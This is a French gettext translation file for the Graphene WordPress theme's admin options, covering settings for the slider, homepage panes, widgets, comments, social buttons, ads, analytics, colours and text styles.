msgid "Note that uninstalling this theme <strong>does not remove</strong> the theme's files. To delete the files after you have uninstalled this theme, go to Appearances > Themes and delete the theme from there."
msgstr "Notez que la désinstallation de ce thème <strong> ne supprimera pas</strong> les fichiers du thème sur votre serveur. Il vous faudra les supprimer manuellement par FTP ou via la page des gestion des thèmes."

#: admin/options.php:313
#: admin/options.php:1644
msgid "Preview"
msgstr "Aperçu"

#: admin/options.php:314
msgid "The preview will be updated when the \"Save Options\" button above is clicked."
msgstr "L'aperçu sera mis à jour quand le bouton \"Sauvegarder\" est cliqué."

#: admin/options.php:333
msgid "Slider Options"
msgstr "Options du diaporama"

#: admin/options.php:339
msgid "Disable slider"
msgstr "Désactiver le diaporama"

#: admin/options.php:347
msgid "What do you want to show in the slider"
msgstr "Que voulez vous afficher dans le diaporama ?"

#: admin/options.php:351
msgid "Show latest posts"
msgstr "Afficher les derniers articles"

#: admin/options.php:354
msgid "Show random posts"
msgstr "Affichez articles au hasard"

#: admin/options.php:357
msgid "Show specific posts/pages"
msgstr "Afficher Articles/Pages spécifiques"

#: admin/options.php:360
msgid "Show posts from categories"
msgstr "Afficher les articles à partir des catégories"

#: admin/options.php:365
#: admin/options.php:579
msgid "Posts and/or pages to display"
msgstr "Articles et/ou pages à afficher"

#: admin/options.php:370
#: admin/options.php:584
msgid "Enter ID of posts and/or pages to be displayed, separated by comma. Example: <code>1,13,45,33</code>"
msgstr "Entrez les ID des articles et/ou pages à afficher, séparés par une virgule. Exemple : <code>1,13,45,33</code>"

#: admin/options.php:371
msgid "Applicable only if <strong>Show specific posts/pages</strong> is selected above."
msgstr "Applicable uniquement si <strong>Afficher Articles/Pages spécifiques </strong> est sélectionné ici."

#: admin/options.php:377
msgid "Categories to display"
msgstr "Catégories à afficher"

#: admin/options.php:378
msgid "All posts within the categories selected here will be displayed on the slider. Usage example: create a new category \"Featured\" and assign all posts to be displayed on the slider to that category, and then select that category here."
msgstr "Tous les articles au sein des catégories sélectionnées seront affichées dans le diaporama. Exemple d'utilisation: créer une nouvelle catégorie  \"vedette \" et affecter tous les articles à afficher sur le diaporama pour cette catégorie, puis sélectionnez la catégorie ici."

#: admin/options.php:394
msgid "Number of posts to display"
msgstr "Nombre d'articles à afficher :"

#: admin/options.php:419
#: admin/options.php:1605
msgid "Upload or select image from gallery"
msgstr "Envoyer ou sélectionnez une image de la galerie"

#: admin/options.php:425
msgid "Slider display style"
msgstr "Style d'affichage du diaporama"

#: admin/options.php:429
msgid "Thumbnail and excerpt"
msgstr "Miniature et résumé"

#: admin/options.php:430
msgid "Background image and excerpt"
msgstr "Image de fond et résumé"

#: admin/options.php:431
msgid "Full post content"
msgstr "Contenu entier de l'article"

#: admin/options.php:437
msgid "Slider animation"
msgstr "Animation du Diaporama"

#: admin/options.php:442
msgid "Horizontal slide"
msgstr "Défilement Horizontal"

#: admin/options.php:443
msgid "Vertical slide"
msgstr "Défilement Vertical"

#: admin/options.php:444
msgid "Fade"
msgstr "Estompage"

#: admin/options.php:445
msgid "No effect"
msgstr "Pas d'effet"

#: admin/options.php:451
msgid "Slider height"
msgstr "Hauteur du diaporama"

#: admin/options.php:459
msgid "Slider speed"
msgstr "Vitesse du diaporama"

#: admin/options.php:462
#: admin/options.php:471
msgid "milliseconds"
msgstr "millisecondes"

#: admin/options.php:463
msgid "This is the duration that each slider item will be shown"
msgstr "Ceci est la durée d'affichage de chaque article dans le diaporama"

#: admin/options.php:468
msgid "Slider transition speed"
msgstr "Vitesse de transition du diaporama"

#: admin/options.php:472
msgid "This is the speed of the slider transition. Lower values = higher speed."
msgstr "Ceci est la vitesse de transition du diaporama. Petite valeur = plus grande vitesse."

#: admin/options.php:477
msgid "Move slider to bottom of page"
msgstr "Déplacer le diaporama en bas de page."

#: admin/options.php:490
msgid "Front Page Options"
msgstr "Options de la page d'accueil"

#: admin/options.php:496
msgid "Front page posts categories"
msgstr "Catégories des articles de la page d'accueil"

#: admin/options.php:498
msgid "Only posts that belong to the categories selected here will be displayed on the front page. Does not affect Static Front Page."
msgstr "Seuls les articles dans les catégories sélectionnées ici seront affichées sur la page d'accueil. Ceci n'affecte pas la page d'accueil statique."

#: admin/options.php:503
msgid "--Disabled--"
msgstr "--Désactivé--"

#: admin/options.php:511
msgid "You may select multiple categories by holding down the CTRL key."
msgstr "Vous pouvez choisir plusieurs catégories avec la touche CTRL."

#: admin/options.php:523
msgid "Homepage Panes"
msgstr "Panneaux de page d'accueil"

#: admin/options.php:530
msgid "Disable homepage panes"
msgstr "Désactiver les panneaux de la page d'accueil"

#: admin/options.php:540
msgid "Type of content to show"
msgstr "Type de contenu à afficher"

#: admin/options.php:547
msgid "Latest posts by category"
msgstr "Derniers articles par catégorie"

#: admin/options.php:550
msgid "Posts and/or pages"
msgstr "Articles et/ou pages"

#: admin/options.php:555
msgid "Number of latest posts to display"
msgstr "Nombre d'articles à afficher :"

#: admin/options.php:559
msgid "Applicable only if <strong>Latest posts</strong> or <strong>Latest posts by category</strong> is selected above."
msgstr "Applicable uniquement si <strong>Derniers articles</strong> ou <strong>Derniers articles par catégorie</strong> sont sélectionnés ici."

#: admin/options.php:564
msgid "Category to show latest posts from"
msgstr "Catégorie à partir de laquelle afficher les derniers articles"

#: admin/options.php:574
msgid "Applicable only if <strong>Latest posts by category</strong> is selected above."
msgstr "Applicable seulement si <strong>Derniers articles par catégorie</strong> est sélectionné ici."

#: admin/options.php:585
msgid "Applicable only if <strong>Posts and/or pages</strong> is selected above."
msgstr "Applicable uniquement si <strong>Articles et/ou pages</strong> est sélectionné ici."

#: admin/options.php:591
msgid "<strong>Note:</strong> homepage panes are only displayed when using a <a href=\"http://codex.wordpress.org/Creating_a_Static_Front_Page\">static front page</a>."
msgstr "<strong>Note : </strong> Les panneaux de page d'accueil ne seront affichés que pour une <a href=\"http://codex.wordpress.org/Creating_a_Static_Front_Page\">page d'accueil statique</a>."

#: admin/options.php:601
msgid "Comments Options"
msgstr "Options des commentaires"

#: admin/options.php:607
msgid "Commenting"
msgstr "Commentaire"

#: admin/options.php:611
msgid "Use WordPress settings"
msgstr "Utiliser les paramètres de WordPress"

#: admin/options.php:612
msgid "Disabled for pages"
msgstr "Désactiver pour les pages"

#: admin/options.php:613
msgid "Disabled completely"
msgstr "Désactiver complètement"

#: admin/options.php:615
msgid "Note: this setting overrides the global WordPress Discussion Setting called \"Allow people to post comments on new articles\" and also the \"Allow comments\" option for individual posts/pages."
msgstr "Note : Ce paramètre outrepasse les paramètres de discussion de WordPress nommés \"Autoriser les visiteurs à publier des commentaires sur les derniers articles\" ainsi que \"Autoriser commentaires \" pour les articles et pages."

#: admin/options.php:627
msgid "Child Page Options"
msgstr "Options des pages enfants"

#: admin/options.php:633
msgid "Hide parent box if content is empty"
msgstr "Cacher boîte parente si le contenu est vide"

#: admin/options.php:639
msgid "Child page listings"
msgstr "Lister les pages enfants"

#: admin/options.php:643
msgid "Show listing"
msgstr "Afficher la liste"

#: admin/options.php:644
msgid "Hide listing"
msgstr "Cacher la liste"

#: admin/options.php:645
msgid "Only show listing if parent content is empty"
msgstr "N'afficher la liste que si le contenu parent est vide"

#: admin/options.php:658
msgid "Widget Area Options"
msgstr "Options de la zone de widgets"

#: admin/options.php:661
msgid "Header widget area"
msgstr "Zone de widgets d'en-tête"

#: admin/options.php:662
msgid "<strong>Important:</strong> This widget area is unstyled, as it is often used for advertisement banners, etc. If you enable it, make sure you style it to your needs using the Custom CSS option."
msgstr "<strong>Important : </strong> Ce widget est sans style, tel quel il est souvent utilisé pour les Ads, bannières, etc... Si vous l'acitvez assurez vous de le styliser selon votre besoin en utilisant l'option de CSS personnalisé."

#: admin/options.php:666
msgid "Enable header widget area"
msgstr "Activer la zone de widgets d'en-tête"

#: admin/options.php:675
msgid "Alternate Widgets"
msgstr "Aletrner les widgets"

#: admin/options.php:676
msgid "You can enable the theme to show different widget areas in the front page than the rest of the website. If you enable this option, additional widget areas that will only be displayed on the front page will be added to the Widget settings page."
msgstr "Vous pouvez activer pour le thème différentes zones de widgets pour la page d'accueil et pour le reste du site. Si vous activez cette option, des zones supplémentaires de widgets affichées uniquement sur la page d'accueil seront ajoutées dans la page de paramètres des widgets."

#: admin/options.php:679
msgid "Enable alternate front page sidebar widget area"
msgstr "Activer la zone de widgets latérale de la page d'accueil"

#: admin/options.php:683
msgid "Enable alternate front page footer widget area"
msgstr "Activer la zone de widgets de bas de la page d'accueil"

#: admin/options.php:684
msgid "You can also specify different column counts for the front page footer widget and the rest-of-site footer widget if you enable this option."
msgstr "Vous pouvez également spécifier un nombre de colonnes différents pour la zone de widgets du bas pour l'accueil ou pour le reste du site."

#: admin/options.php:697
msgid "Top Bar Options"
msgstr "Options de la barre du haut"

#: admin/options.php:703
msgid "Hide the top bar"
msgstr "Cacher la barre du haut"

#: admin/options.php:711
msgid "Hide feed icon"
msgstr "Cachez l'icône de Flux RSS"

#: admin/options.php:715
msgid "Use custom feed URL"
msgstr "Utiliser une URL personnalisée de flux RSS"

#: admin/options.php:718
msgid "This custom feed URL will replace the default WordPress RSS feed URL."
msgstr "Cette URL de flux RSS personnalisée remplacera celle par défaut de WordPress."

#: admin/options.php:722
msgid "Open social media links in new window"
msgstr "Ouvrir les liens vers les réseaux sociaux dans une nouvelle fenêtre"

#: admin/options.php:726
msgid "Twitter URL"
msgstr "URL pour Twitter :"

#: admin/options.php:729
msgid "Enter the URL to your Twitter page."
msgstr "Entrez l'URL de votre page Twitter."

#: admin/options.php:733
msgid "Facebook URL"
msgstr "URL Facebook"

#: admin/options.php:736
msgid "Enter the URL to your Facebook profile page."
msgstr "Entrez l'URL de votre page de profil Facebook"

#: admin/options.php:747
#, php-format
msgid "%s Title"
msgstr "Titre de %s :"

#: admin/options.php:752
#, php-format
msgid "The title is empty and the following title will be shown: <strong>%s</strong>"
msgstr "Le titre est vide et le titre suivant sera affiché : <strong>%s</strong>"

#: admin/options.php:758
#, php-format
msgid "%s URL"
msgstr "URL %s"

#: admin/options.php:763
#, php-format
msgid "%s icon URL"
msgstr "URL de l'icône %s"

#: admin/options.php:766
msgid "Delete"
msgstr "Supprimer"

#: admin/options.php:774
msgid "Add new social media icon"
msgstr "Ajouter nouvel icône de média social"

#: admin/options.php:786
msgid "Social Sharing Buttons"
msgstr "Boutons de partage social"

#: admin/options.php:791
msgid "Show social sharing button"
msgstr "Afficher les boutons de partage"

#: admin/options.php:797
msgid "Show in Pages as well?"
msgstr "Montrer les pages telles quelles?"

#: admin/options.php:801
msgid "Social sharing buttons location"
msgstr "Emplacement des boutons de partage social"

#: admin/options.php:804
msgid "Bottom of posts"
msgstr "Bas des Articles"

#: admin/options.php:805
msgid "Top of posts"
msgstr "Haut des Articles"

#: admin/options.php:806
msgid "Both top and bottom"
msgstr "En Haut & en Bas"

#: admin/options.php:812
msgid "Your social sharing button code"
msgstr "Votre code de boutons de partage"

#: admin/options.php:813
msgid "You can use codes from any popular social sharing sites, like Facebook, Digg, AddThis, etc."
msgstr "Vous pouvez utiliser les codes des sites de partage sociaux les plus populaires tels que Facebook, Digg, AddThis, etc."

#: admin/options.php:816
msgid "You may use these tags to get the post's URL and title:"
msgstr "Vous devez utiliser ces balises pour récupérer l'URL de l'article et son titre :"

#: admin/options.php:828
msgid "Adsense Options"
msgstr "Options Adsense"

#: admin/options.php:834
msgid "Show Adsense advertising"
msgstr "Afficher les Adsenses"

#: admin/options.php:840
msgid "Show ads on front page as well"
msgstr "Afficher les Adsenses sur l'accueil"

#: admin/options.php:846
msgid "Your Adsense code"
msgstr "Votre code Adsense"

#: admin/options.php:859
msgid "Google Analytics Options"
msgstr "Options Google Analytics"

#: admin/options.php:864
msgid "Enable Google Analytics tracking"
msgstr "Activer le tracking Google analytics"

#: admin/options.php:871
msgid "<strong>Note:</strong> the theme now places the Google Analytics script in the <code>&lt;head&gt;</code> element to better support the new asynchronous Google Analytics script. Please make sure you update your script to use the new asynchronous script from Google Analytics."
msgstr "<strong>Note :</strong> Le thème place dorénavant le script Google Analytics dans l'élément <code>&lt;head&gt;</code> pour un meilleur support du nouveau script asynchrone de Google. Assurez vous de mettre à jour votre script pour utiliser ce nouveau script asynchrone de Google Analytics."

#: admin/options.php:875
msgid "Google Analytics tracking code"
msgstr "Code de tracking Google analytics"

#: admin/options.php:876
msgid "Make sure you include the full tracking code (including the <code>&lt;script&gt;</code> and <code>&lt;/script&gt;</code> tags) and not just the <code>UA-#######-#</code> code."
msgstr "Assurez vous d'inclure de code de tracking entier (y compris le <code>&lt;script&gt;</code> et <code>&lt;/script&gt;</code> mots-clés) et non pas uniquement le code <code>UA-#######-#</code>."

#: admin/options.php:889
msgid "Footer Options"
msgstr "Options du pied"

#: admin/options.php:894
msgid "Show Creative Commons logo"
msgstr "Afficher le logo Creative Commons"

#: admin/options.php:899
msgid "Copyright text (html allowed)"
msgstr "Texte de copyright (HTML autorisé)"

#: admin/options.php:900
msgid "If this field is empty, the following default copyright text will be displayed:"
msgstr "Si ce champ est vide, le texte suivant sera affiché par défaut :"

#: admin/options.php:906
msgid "Do not show copyright info"
msgstr "Ne pas afficher les infos de copyright"

#: admin/options.php:910
msgid "Do not show the \"Return to top\" link"
msgstr "Ne pas afficher le lien \"Retour en Haut\""

#: admin/options.php:922
msgid "Print Options"
msgstr "Options d'impression"

#: admin/options.php:927
msgid "Enable print CSS for single posts and pages?"
msgstr "Activer le CSS d'impression pour les articles et les pages?"

#: admin/options.php:933
msgid "Show print button as well?"
msgstr "Afficher le bouton d'impression?"

#: admin/options.php:953
msgid "Header Display Options"
msgstr "Options d'affichage du haut"

#: admin/options.php:959
msgid "Use light-coloured header bars"
msgstr "Utiliser des barres de couleurs claires"

#: admin/options.php:965
msgid "Link header image to front page"
msgstr "Lier l'image du header à l'accueil"

#: admin/options.php:968
msgid "Check this if you disable the header texts and want the header image to be linked to the front page."
msgstr "Cochez ceci si vous désactivez le texte du header et désirez lier l'image à la page d'accueil."

#: admin/options.php:973
msgid "Disable Featured Image replacing header image"
msgstr "Désactiver l'image mise en avant en remplacement de l'image du header"

#: admin/options.php:976
msgid "Check this to prevent the posts Featured Image replacing the header image regardless of the featured image dimension."
msgstr "Cochez ceci afin d'empêcher que l'image mise en avant remplace l'image du header quelle que soit la dimension de l'image."

#: admin/options.php:981
msgid "Use random header image"
msgstr "Utiliser une image de header au hasard"

#: admin/options.php:985
msgid "Check this to show a random header image (random image taken from the available default header images)."
msgstr "Cochez ceci pour afficher une image de header au hasard (image alétaoire tirée des images de headers disponibles par défaut)."

#: admin/options.php:986
msgid "<strong>Note:</strong> only works on pages where a specific header image is not defined."
msgstr "<strong>Note :</strong> Fonctionne uniquement sur les pages où une image de header spécifique n'est pas définie."

#: admin/options.php:992
msgid "Search box location"
msgstr "Emplacement de la boîte de recherche"

#: admin/options.php:996
msgid "Top bar"
msgstr "Barre du haut"

#: admin/options.php:997
msgid "Navigation bar"
msgstr "Barre de navigation"

#: admin/options.php:998
msgid "Disable search box"
msgstr "Désactiver la boîte de Recherche"

#: admin/options.php:1011
msgid "Column Options"
msgstr "Options de colonnes"

#: admin/options.php:1017
msgid "Column mode"
msgstr "Mode colonne"

#: admin/options.php:1067
msgid "Posts Display Options"
msgstr "Options d'affichage des articles"

#: admin/options.php:1073
msgid "Hide post author"
msgstr "Cacher l'auteur de l'article"

#: admin/options.php:1083
msgid "Hidden"
msgstr "Caché"

#: admin/options.php:1084
msgid "As an icon (without the year)"
msgstr "Comme une icône (à part l'année)"

#: admin/options.php:1085
msgid "As an icon (including the year)"
msgstr "Comme une icône (l'année aussi)"

#: admin/options.php:1086
msgid "As inline text"
msgstr "Comme du texte"

#: admin/options.php:1088
msgid "Note: displaying date as inline text allows more space for the content area, especially useful for a three-column layout configuration."
msgstr "Note : Afficher la date comme du teste autorise plus d'espace pour la zone de contenu, pratique spécialement pour une configuration en style de 3 colonnes."

#: admin/options.php:1093
msgid "Hide post categories"
msgstr "Cacher les catégories"

#: admin/options.php:1099
msgid "Hide post tags"
msgstr "Cacher les mots-clés"

#: admin/options.php:1105
msgid "Hide post comment count"
msgstr "Cacher le compteur de commentaires"

#: admin/options.php:1106
msgid "Only affects posts listing (such as the front page) and not single post view."
msgstr "Ceci affectera uniquement les listes d'articles (accueil, catégories, etc..) et non les articles."

#: admin/options.php:1111
msgid "Show post author's gravatar"
msgstr "Afficher le Gravatar de l'auteur"

#: admin/options.php:1115
msgid "Show post author's info"
msgstr "Affiche les infos de l'auteur"

#: admin/options.php:1127
msgid "Excerpts Display Options"
msgstr "Options d'affichage des résumés"

#: admin/options.php:1133
msgid "Show excerpts in front page"
msgstr "Afficher les résumés sur l'accueil"

#: admin/options.php:1139
msgid "Show full content in archive pages"
msgstr "Afficher le contenu entier dans les pages d'archives"

#: admin/options.php:1143
msgid "Note: Archive pages include the archive for category, tags, time, and search results pages. Enabling this option will cause the full content of posts and pages listed in those archives to displayed instead of the excerpt, and truncated by the Read More tag if used."
msgstr "Note : Les pages d'archives incluent les archives pour les catégories, le smots-clés et les pages de résultats de recherche. Activer cette option aura pour conséquence d'afficher le contenu des articles et des pages avec un lien Lire la Suite si la balise more est utilisée."

#: admin/options.php:1147
msgid "Show More link for manual excerpts"
msgstr "Afficher le lien Lire la suite pour les résumés manuels"

#: admin/options.php:1151
msgid "Retain these HTML tags in excerpts"
msgstr "Conserver ces balises HTML dans les résumés"

#: admin/options.php:1154
msgid "Enter the HTML tags you'd like to retain in excerpts. For example, enter <code>&lt;p&gt;&lt;ul&gt;&lt;li&gt;</code> to retain <code>&lt;p&gt;</code>, <code>&lt;ul&gt;</code>, and <code>&lt;li&gt;</code> HTML tags."
msgstr "Entrez les balises HTML que vous désirez conserver dans les résumés. Par exemple entrez <code>&lt;p&gt;&lt;ul&gt;&lt;li&gt;</code> pour conserver <code>&lt;p&gt;</code>, <code>&lt;ul&gt;</code>, et <code>&lt;li&gt;</code>."

#: admin/options.php:1167
msgid "Comments Display Options"
msgstr "Options d'affichage des commentaires"

#: admin/options.php:1173
msgid "Hide allowed tags in comment form"
msgstr "Cacher les balises autorisées dans les commentaires"

#: admin/options.php:1186
msgid "Colours Options"
msgstr "Options de couleurs"

#: admin/options.php:1189
msgid "Changing colours for your website involves a lot more than just trial and error. Simply mixing and matching colours without regard to their compatibility may do more damage than good to your site's aesthetics."
msgstr "La modification des couleurs pour votre site web implique beaucoup plus qu'un simple essai et une erreur. Il suffit de mal mélanger et assortir les couleurs, sans égard à leur compatibilité et cela peut faire plus de mal que de bien à l'esthétique de votre site."

#: admin/options.php:1190
#, php-format
msgid "It's generally a good idea to stick to colours from colour pallettes that are aesthetically pleasing. Try the %s website for a kickstart on some colour palettes you can use."
msgstr "C'est généralement une bonne idée de s'en tenir à des couleurs de palettes de couleur qui sont esthétiquement agréables. Essayez le site Internet %s pour un début sur ​​certaines palettes de couleurs que vous pouvez utiliser."

#: admin/options.php:1191
msgid "When you've got the perfect combination, you can even share it with fellow Graphene theme users through the <a href=\"http://forum.khairul-syahir.com/\">Support Forum</a>."
msgstr "Quand vous avez la combinaison parfaite, vous pouvez même le partager avec d'autres utilisateurs à travers le thème Graphene Forum <a href=\"http://forum.khairul-syahir.com/\"> </ a>. Pour du support sur la traduction (et uniquement sur la traduction) vous pouvez vous rendre sur <a href=\"http://www.wptrads.fr/theme/graphene/\">Wp Traductions</a>."

#: admin/options.php:1192
msgid "<strong>Note:</strong> The previews work best on modern Gecko- and Webkit-based browsers, such as Mozilla Firefox and Google Chrome."
msgstr "<strong> Remarque: </ strong> Les aperçus sont optimisés pour les navigateurs modernes, tels que Mozilla Firefox et Google Chrome."

#: admin/options.php:1193
msgid "<strong>Note:</strong> To reset any of the colours to their default value, just click on \"Clear\" beside the colour field and save the settings. The theme will automatically revert the value to the default colour."
msgstr "<strong> Remarque: </ strong> Pour réinitialiser toutes les couleurs à leur valeur par défaut, il suffit de cliquer sur  \"Effacer \" à côté du champ de couleur et de sauvegarder les paramètres. Le thème revient automatiquement à la valeur de la couleur par défaut."

#: admin/options.php:1194
msgid "Content area"
msgstr "Zone de contenu"

#: admin/options.php:1198
msgid "Main content wrapper background"
msgstr "Fond du Contenu Principal"

#: admin/options.php:1199
msgid "Post and pages content background"
msgstr "Fond du contenu des pages et articles"

#: admin/options.php:1200
msgid "Post meta and footer border"
msgstr "Bordure meta article et pied"

#: admin/options.php:1201
msgid "Post and pages top border"
msgstr "Bordure Haut Articles/Pages"

#: admin/options.php:1202
msgid "Post and pages bottom border"
msgstr "Bordure Bas Articles/Pages"

#: admin/options.php:1212
#: admin/options.php:1242
#: admin/options.php:1268
#: admin/options.php:1295
#: admin/options.php:1324
#: admin/options.php:1460
#: admin/options.php:1481
msgid "Clear"
msgstr "Effacer"

#: admin/options.php:1219
msgid "Widgets"
msgstr "Widgets"

#: admin/options.php:1222
msgid "Widget preview"
msgstr "Aperçu Widget"

#: admin/options.php:1223
msgid "Widget title"
msgstr "Titre Widgets"

#: admin/options.php:1223
msgid "List item"
msgstr "Élément de liste"

#: admin/options.php:1227
msgid "Widget item background"
msgstr "Fond Élément Widget"

#: admin/options.php:1228
msgid "Widget item list border"
msgstr "Bordure Élément de liste Widget"

#: admin/options.php:1229
msgid "Widget header border"
msgstr "Bordure En-tête Widget"

#: admin/options.php:1230
msgid "Widget title colour"
msgstr "Couleur titre Widget"

#: admin/options.php:1231
msgid "Widget title text shadow colour"
msgstr "Couleur Ombre Texte Titre Widget"

#: admin/options.php:1232
msgid "Widget header gradient bottom colour"
msgstr "Couleur Bas Dégradé En-tête Widget"

#: admin/options.php:1233
msgid "Widget header gradient top colour"
msgstr "Couleur Haut Dégradé En-tête Widget"

#: admin/options.php:1250
msgid "Slider"
msgstr "Diaporama"

#: admin/options.php:1253
msgid "Slider background preview"
msgstr "Aperçu Fond Diaporama"

#: admin/options.php:1258
msgid "Slider top left colour"
msgstr "Couleur Haut Gauche Diaporama"

#: admin/options.php:1259
msgid "Slider bottom right colour"
msgstr "Couleur Bas Droit Diaporama"

#: admin/options.php:1276
msgid "Block buttons"
msgstr "Bloc Boutons"

#: admin/options.php:1279
msgid "Block button preview"
msgstr "Bloquer Bouton Aperçu"

#: admin/options.php:1280
msgid "Button label"
msgstr "Label Bouton"

#: admin/options.php:1284
msgid "Button background colour"
msgstr "Couleur Fond Bouton"

#: admin/options.php:1285
msgid "Button label colour"
msgstr "Couleur Label Bouton"

#: admin/options.php:1286
msgid "Button label text shadow"
msgstr "Ombre Texte Label Bouton"

#: admin/options.php:1303
msgid "Archive title"
msgstr "Titre Archive"

#: admin/options.php:1306
msgid "Archive title preview"
msgstr "Aperçu Titre Archive"

#: admin/options.php:1307
msgid "Archive title:"
msgstr "Titre Archive :"

#: admin/options.php:1307
msgid "Sample title"
msgstr "Titre Exemple"

#: admin/options.php:1311
msgid "Archive background gradient left colour"
msgstr "Couleur Gauche Dégradé Fond Archive"

#: admin/options.php:1312
msgid "Archive background gradient right colour"
msgstr "Couleur Droit Dégradé Fond Archive"

#: admin/options.php:1313
msgid "Archive label colour"
msgstr "Couleur Label Archive"

#: admin/options.php:1314
msgid "Archive text colour"
msgstr "Couleur Texte Archive"

#: admin/options.php:1315
msgid "Archive label and text shadow colour"
msgstr "Couleur Ombre & Label Archive"

#: admin/options.php:1339
msgid "Text Style Options"
msgstr "Options des styles de texte"

#: admin/options.php:1342
msgid "Note that these are CSS properties, so any valid CSS values for each particular property can be used."
msgstr "Notez que celles-ci sont des propriétés CSS, donc toutes les valeurs valides CSS pour chaque propriété particulière peuvent être utilisées."

#: admin/options.php:1343
msgid "Some example CSS properties values:"
msgstr "Exemples de valeurs de propriétés CSS :"

#: admin/options.php:1346
msgid "Text font:"
msgstr "Police du texte :"

#: admin/options.php:1350
msgid "Text size and line height:"
msgstr "Taille de texte et hauteur de ligne :"

#: admin/options.php:1354
msgid "Text weight:"
msgstr "Poids du texte :"

#: admin/options.php:1358
msgid "Text style:"
msgstr "Style de texte :"

#: admin/options.php:1362
msgid "Text colour:"
msgstr "Couleur de texte :"

#: admin/options.php:1367
msgid "Header Text"
msgstr "Texte de titre"

#: admin/options.php:1371
msgid "Title text font"
msgstr "Police de texte du titre"

#: admin/options.php:1377
msgid "Title text size"
msgstr "Taille du texte de titre"

#: admin/options.php:1383
msgid "Title text weight"
msgstr "Poids de texte du titre"

#: admin/options.php:1389
msgid "Title text line height"
msgstr "Hauteur de ligne du texte de titre"

#: admin/options.php:1395
msgid "Title text style"
msgstr "Style du texte de titre"

#: admin/options.php:1404
msgid "Description text font"
msgstr "Police du texte de description"

#: admin/options.php:1410
msgid "Description text size"
msgstr "Taille du texte de description"

#: admin/options.php:1416
msgid "Description text weight"
msgstr "Poids du texte de description"

#: admin/options.php:1422
msgid "Description text line height"
msgstr "Hauteur de ligne du texte de description"

#: admin/options.php:1428
msgid "Description text style"
msgstr "Style du texte de description"

#: admin/options.php:1434
msgid "Content Text"
msgstr "Texte de contenu"

#: admin/options.php:1438
msgid "Text font"
msgstr "Police du texte"

#: admin/options.php:1444
msgid "Text size"
msgstr "Taille du texte"

#: admin/options.php:1450
msgid "Text line height"
msgstr "Hauteur de ligne du texte"

#: admin/options.php:1456
msgid "Text colour"
msgstr "Couleur du texte"

#: admin/options.php:1466
msgid "Link Text"
msgstr "Texte du lien"

#: admin/options.php:1470
msgid "Link colour (normal state)"
msgstr "Couleur du lien (état normal)"

#: admin/options.php:1471
msgid "Link colour (visited state)"
msgstr "Couleur du lien (état visité)"

#: admin/options.php:1472
msgid "Link colour (hover state)"
msgstr "Couleur du lien (état de survol)"

#: admin/options.php:1489
msgid "Text decoration (normal state)"
msgstr "Décoration de texte (état normal)"

#: admin/options.php:1495
msgid "Text decoration (hover state)"
msgstr "Décoration du texte (état de survol)"

#: admin/options.php:1508
msgid "Footer Widget Display Options"
msgstr "Options d'affichage du widget du bas"

#: admin/options.php:1514
msgid "Number of columns to display"
msgstr "Nombre de colonnes à afficher"

#: admin/options.php:1521
msgid "Number of columns to display for front page footer widget"
msgstr "Nombre de colonnes à afficher pour le widget du bas sur la page d'accueil"

#: admin/options.php:1535
msgid "Navigation Menu Display Options"
msgstr "Options d'affichage du menu de navigation"

#: admin/options.php:1541
msgid "Dropdown menu item width"
msgstr "Largeur des éléments du menu déroulant"

#: admin/options.php:1547
msgid "Disable description in Header Menu"
msgstr "Désactiver description dans le menu d'en-tête"

#: admin/options.php:1555
msgid "Description for default menu \"Home\" item"
msgstr "Description pour l'élément \"Accueil\" du menu par défaut"

#: admin/options.php:1571
msgid "Miscellaneous Display Options"
msgstr "Options diverses d'affichage"

#: admin/options.php:1574
msgid "Site title options"
msgstr "Options du titre du site"

#: admin/options.php:1575
msgid "Use these tags to customise your own site title structure: <code>#site-name</code>, <code>#site-desc</code>, <code>#post-title</code>"
msgstr "Utiliser ces balises pour personnaliser votre propre structure de titre : <code>#site-name</code>, <code>#site-desc</code>, <code>#post-title</code>"

#: admin/options.php:1579
msgid "Custom front page site title"
msgstr "Titre de page d'accueil personnalisée"

#: admin/options.php:1583
msgid "Defaults to <code>#site-name &raquo; #site-desc</code>. The <code>#post-title</code> tag cannot be used here."
msgstr "Paramètre par défaut pour <code>#site-name &raquo; #site-desc</code>. La balise <code>#post-title</code> ne peut être utilisée ici."

#: admin/options.php:1588
msgid "Custom content pages site title"
msgstr "Titre de pages de contenu personnalisé"

#: admin/options.php:1592
msgid "Defaults to <code>#post-title &raquo; #site-name</code>."
msgstr "Paramètres par défauts pour <code>#post-title &raquo; #site-name</code>."

#: admin/options.php:1597
msgid "Favicon options"
msgstr "Options du favicon"

#: admin/options.php:1601
msgid "Favicon URL"
msgstr "URL du favicon"

#: admin/options.php:1605
msgid "Simply enter the full URL to your favicon file here to enable favicon. Make sure you include the <code>http://</code> in front of the URL as well. Or use the WordPress media uploader to upload an image, or select one from the media library."
msgstr "Il suffit d'entrer l'URL complète de votre fichier favicon ici pour activer le favicon. Veillez à inclure <code> http:// </ Code> en face de l'URL. Ou utiliser la bibliothèque de médias de WordPress télécharger une image ou sélectionner un dans la bibliothèque multimédia."

#: admin/options.php:1617
msgid "Custom CSS"
msgstr "CSS personnalisé"

#: admin/options.php:1622
msgid "Custom CSS styles"
msgstr "Styles CSS personnalisés"

#: admin/options.php:1624
msgid "You can enter your own CSS codes below to modify any other aspects of the theme's appearance that is not included in the options."
msgstr "Vous pouvez votre propre CSS personnalisé ici pour modifier tous les autres aspects de votre thème qui ne sont pas inclus dans les options."

#: admin/options.php:1651
msgid "Enable preview of your site on the Graphene Theme Options page"
msgstr "Activer l'aperçu de votre thème dans les options du thème Graphene"

#: admin/options.php:1663
msgid "Action Hooks Widget Areas"
msgstr "Zones de widgets Boucles (Hooks)"

#: admin/options.php:1666
msgid "This option enables you to place virtually any content to every nook and cranny in the theme, by attaching widget areas to the theme's action hooks."
msgstr "Cette option vous permet de déposer pratiquement n'importe quel contenu à chaque coin et recoin de ce thème, en attachant des zones de widget aux boucles (hooks) du thème."

#: admin/options.php:1667
msgid "All action hooks available in the Graphene Theme are listed below. Click on the filename to display all the action hooks available in that file. Then, tick the checkbox next to an action hook to make a widget area available for that action hook."
msgstr "Toutes les boucles (hooks) disponibles dans le thème Graphene sont énumérés ci-dessous. Cliquez sur le nom du fichier pour afficher toutes les actions disponibles dans ce fichier. Ensuite, cochez la case située à côté d'une boucle pour faire une zone de widgets disponibles pour celui-ci."

#: admin/options.php:1676
msgid "Click to show/hide the action hooks for this file"
msgstr "Cliquez pour afficher/masquer toutes les boucles pour ce fichier"

#: admin/options.php:1699
msgid "Before you can upload your import file, you will need to fix the following error:"
msgstr "Avant d'importer votre fichier, vous devez régler l'erreur suivante :"

#: admin/options.php:1707
